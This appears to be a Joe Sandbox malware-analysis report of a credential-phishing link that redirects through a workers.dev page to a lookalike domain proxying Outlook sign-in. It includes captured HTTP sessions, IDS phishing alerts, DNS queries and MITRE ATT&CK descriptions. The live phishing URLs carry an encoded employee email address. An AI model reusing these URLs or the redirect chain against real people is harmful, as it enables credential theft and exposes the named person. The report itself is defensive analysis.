26	192.168.2.4	49776	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:18 UTC	834	OUT	GET /?qrc=alison.smith%40rbsint.com HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=yNACrck07aA5; qPdM.sig=qzLwNiRcHGAcjKY4qDFhLNHDCEo
2025-01-15 19:08:19 UTC	1261	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://havwthornscountryclub.com/mail/?login_hint=alison.smith%40rbsint.com Server: Microsoft-IIS/10.0 request-id: 2bd666d9-7143-2c43-a4e2-3f76071651f5 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR3P281CA0096, FR3P281CA0096 X-RequestId: ae617b64-5fec-4b44-aa53-593701a89ea8 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: FR3P281CA0096.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: 2WbWK0NxQyyk4j92BxZR9Q.0 X-Powered-By: ASP.NET Date: Wed, 15 Jan 2025 19:08:18 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49778	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:19 UTC	728	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6ImtObFB2VzRaalRQMiIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk4LCJleHAiOjE3MzY5NjgyMTh9.GmpY5AtZNEdQFY4QmDSvxUWOcc0tv4PbO1GjW1I34c4 HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=yNACrck07aA5; qPdM.sig=qzLwNiRcHGAcjKY4qDFhLNHDCEo
2025-01-15 19:08:20 UTC	312	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=kNlPvW4ZjTP2; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=is7JSyfXwkWOErhl9IHSjG9ej9E; path=/; samesite=none; secure; httponly location: /?qrc=alison.smith%40rbsint.com Date: Wed, 15 Jan 2025 19:08:19 GMT Connection: close Transfer-Encoding: chunked
2025-01-15 19:08:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49779	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:19 UTC	846	OUT	GET /mail/?login_hint=alison.smith%40rbsint.com HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=yNACrck07aA5; qPdM.sig=qzLwNiRcHGAcjKY4qDFhLNHDCEo
2025-01-15 19:08:20 UTC	1335	IN	HTTP/1.1 417 Expectation Failed Server: Microsoft-IIS/10.0 request-id: 0923f741-fb1b-0324-9ef1-237eaf4a6f09 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedBETarget: FR5P281MB3959.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 417 x-besku: UNKNOWN X-Proxy-RoutingCorrectness: 1 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 417 X-FirstHopCafeEFZ: HHN X-BEPartition: Clique/CLDEUP281HHN00 X-FEProxyInfo: FR3P281CA0091.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: QfcjCRv7JAOe8SN+r0pvCQ.1 X-Powered-By: ASP.NET X-FEServer: FR3P281CA0091 Date: Wed, 15 Jan 2025 19:08:20 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49780	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:20 UTC	444	OUT	GET /?qrc=alison.smith%40rbsint.com HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=kNlPvW4ZjTP2; qPdM.sig=is7JSyfXwkWOErhl9IHSjG9ej9E
2025-01-15 19:08:21 UTC	1261	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://havwthornscountryclub.com/mail/?login_hint=alison.smith%40rbsint.com Server: Microsoft-IIS/10.0 request-id: 9c4cf30c-7a84-684e-b886-9a97fc14fafa Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR3P281CA0096, FR3P281CA0096 X-RequestId: 2846b9aa-7878-40a1-b701-c71fbcbb5c29 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: FR3P281CA0096.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: DPNMnIR6Tmi4hpqX/BT6+g.0 X-Powered-By: ASP.NET Date: Wed, 15 Jan 2025 19:08:20 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49781	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:21 UTC	456	OUT	GET /mail/?login_hint=alison.smith%40rbsint.com HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=kNlPvW4ZjTP2; qPdM.sig=is7JSyfXwkWOErhl9IHSjG9ej9E
2025-01-15 19:08:21 UTC	1498	IN	HTTP/1.1 417 Expectation Failed Server: Microsoft-IIS/10.0 request-id: 6314ef1e-780c-69c2-888c-b4c08f3f79f4 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedFETarget: FR4P281CU027.internal.outlook.com X-BackEndHttpStatus: 417, 417 X-CalculatedBETarget: FR6P281MB3852.DEUP281.PROD.OUTLOOK.COM x-besku: UNKNOWN X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 417 X-BEPartition: Clique/CLDEUP281FRA02 X-FEProxyInfo: FR3P281CA0091.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: Hu8UYwx4wmmIjLTAjz959A.1.1 X-FEServer: FR4P281CA0394, FR3P281CA0091 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FirstHopCafeEFZ: HHN X-Powered-By: ASP.NET Date: Wed, 15 Jan 2025 19:08:21 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49782	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:08:30 UTC	872	OUT	GET /mail/?login_hint=alison.smith%40rbsint.com HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=kNlPvW4ZjTP2; qPdM.sig=is7JSyfXwkWOErhl9IHSjG9ej9E
2025-01-15 19:08:31 UTC	1498	IN	HTTP/1.1 417 Expectation Failed Server: Microsoft-IIS/10.0 request-id: 3bedb24e-863f-425d-ada8-6a383d20e641 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedFETarget: BE1P281CU020.internal.outlook.com X-BackEndHttpStatus: 417, 417 X-CalculatedBETarget: BEZP281MB1879.DEUP281.PROD.OUTLOOK.COM x-besku: UNKNOWN X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 417 X-BEPartition: Clique/CLDEUP281SXF03 X-FEProxyInfo: FR0P281CA0075.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: TrLtOz+GXUKtqGo4PSDmQQ.1.1 X-FEServer: BE1P281CA0253, FR0P281CA0075 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FirstHopCafeEFZ: HHN X-Powered-By: ASP.NET Date: Wed, 15 Jan 2025 19:08:30 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49783	147.45.179.114	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:09:06 UTC	872	OUT	GET /mail/?login_hint=alison.smith%40rbsint.com HTTP/1.1 Host: havwthornscountryclub.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=kNlPvW4ZjTP2; qPdM.sig=is7JSyfXwkWOErhl9IHSjG9ej9E
2025-01-15 19:09:07 UTC	1335	IN	HTTP/1.1 417 Expectation Failed Server: Microsoft-IIS/10.0 request-id: 6244b7d2-2765-f3c6-a2b3-0a36958dba32 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedBETarget: FR0P281MB1805.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 417 x-besku: UNKNOWN X-Proxy-RoutingCorrectness: 1 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 417 X-FirstHopCafeEFZ: HHN X-BEPartition: Clique/CLDEUP281HHN00 X-FEProxyInfo: FR3P281CA0047.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: 0rdEYmUnxvOiswo2lY26Mg.1 X-Powered-By: ASP.NET X-FEServer: FR3P281CA0047 Date: Wed, 15 Jan 2025 19:09:07 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Target ID:	0
Start time:	14:07:49
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:07:51
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2000,i,7647119776037034423,16714937303777097229,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:07:58
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20="
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6ImtObFB2VzRaalRQMiIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk4LCJleHAiOjE3MzY5NjgyMTh9.GmpY5AtZNEdQFY4QmDSvxUWOcc0tv4PbO1GjW1I34c4	Avira URL Cloud: Label: malware
Source: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/favicon.ico	Avira URL Cloud: Label: malware
Source: https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczov	Avira URL Cloud: Label: malware
Source: https://havwthornscountryclub.com/?qrc=alison.smith%40rbsint.com	Avira URL Cloud: Label: malware
Source: https://havwthornscountryclub.com/mail/?login_hint=alison.smith%40rbsint.com	Avira URL Cloud: Label: malware
Source: https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6InlOQUNyY2swN2FBNSIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk3LCJleHAiOjE3MzY5NjgyMTd9.23Kl47oZsQyMVfIf1_skE87GlqvNy9IDhKaSR7lwJYc	Avira URL Cloud: Label: malware

Source: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com	HTTP Parser: No favicon
Source: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com	HTTP Parser: No favicon

Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 172.67.196.214:443 -> 192.168.2.4:49747
Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 104.21.92.176:443 -> 192.168.2.4:49758
Source: Network traffic	Suricata IDS: 2057301 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07 : 172.67.196.214:443 -> 192.168.2.4:49746

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com.tr
Source: global traffic	DNS traffic detected: DNS query: sasaol.com
Source: global traffic	DNS traffic detected: DNS query: c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: sascl.com
Source: global traffic	DNS traffic detected: DNS query: havwthornscountryclub.com

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 48

Chrome Cache Entry: 49

Chrome Cache Entry: 50

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

Windows Analysis Report
https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=